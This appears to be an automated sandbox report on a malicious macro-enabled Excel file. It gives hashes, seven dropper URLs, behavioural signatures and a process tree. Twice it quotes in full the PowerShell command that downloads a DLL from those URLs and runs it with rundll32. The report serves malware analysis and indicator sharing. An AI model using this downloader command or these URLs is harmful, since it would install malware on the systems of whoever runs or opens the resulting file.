pload.zip

General
Target

pload/865663204559_17_Nov_2021.xlsm

Filesize

44KB

Completed

25-11-2021 16:48

Score
10/10
MD5

477fd718bb764ffe3c5afde16c6c8dd2

SHA1

eb932e19d95f88d64270d40cdc0b92c6d1cf63be

SHA256

ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/

 exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

 exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

 exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

 exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

 exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

 exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/
Signatures 6

Filter: none

Discovery
  • Process spawned unexpected child process
    cmd.exe

    Description

    This typically indicates the parent process was compromised via an exploit or macro.

    Reported IOCs

    descriptionpidpid_targetprocesstarget process
    Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process11643568cmd.exeEXCEL.EXE
  • Checks processor information in registry
    EXCEL.EXE

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0EXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHzEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameStringEXCEL.EXE
  • Enumerates system info in registry
    EXCEL.EXE

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\BIOSEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamilyEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKUEXCEL.EXE
  • Suspicious behavior: AddClipboardFormatListener
    EXCEL.EXE

    Reported IOCs

    pidprocess
    3568EXCEL.EXE
  • Suspicious use of SetWindowsHookEx
    EXCEL.EXE

    Reported IOCs

    pidprocess
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
    3568EXCEL.EXE
  • Suspicious use of WriteProcessMemory
    EXCEL.EXEcmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 3568 wrote to memory of 11643568EXCEL.EXEcmd.exe
    PID 3568 wrote to memory of 11643568EXCEL.EXEcmd.exe
    PID 1164 wrote to memory of 20041164cmd.exepowershell.exe
    PID 1164 wrote to memory of 20041164cmd.exepowershell.exe
Processes 3
  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\pload\865663204559_17_Nov_2021.xlsm"
    Checks processor information in registry
    Enumerates system info in registry
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    PID:3568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      Process spawned unexpected child process
      Suspicious use of WriteProcessMemory
      PID:1164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        PID:2004
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Discovery
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Persistence
                      Privilege Escalation
                        Replay Monitor
                        00:00 00:00
                        Downloads

                        • memory/1164-276-0x0000000000000000-mapping.dmp

                          Download

                        • memory/2004-281-0x0000000000000000-mapping.dmp

                          Download

                        • memory/3568-118-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

                          Download

                        • memory/3568-119-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

                          Download

                        • memory/3568-120-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

                          Download

                        • memory/3568-121-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

                          Download

                        • memory/3568-124-0x000002518E870000-0x000002518E872000-memory.dmp

                          Download

                        • memory/3568-130-0x00007FFAFE220000-0x00007FFAFE230000-memory.dmp

                          Download

                        • memory/3568-131-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

                          Download

                        • memory/3568-132-0x00007FFAFE220000-0x00007FFAFE230000-memory.dmp

                          Download

                        • memory/3568-123-0x000002518E870000-0x000002518E872000-memory.dmp

                          Download

                        • memory/3568-122-0x000002518E870000-0x000002518E872000-memory.dmp

                          Download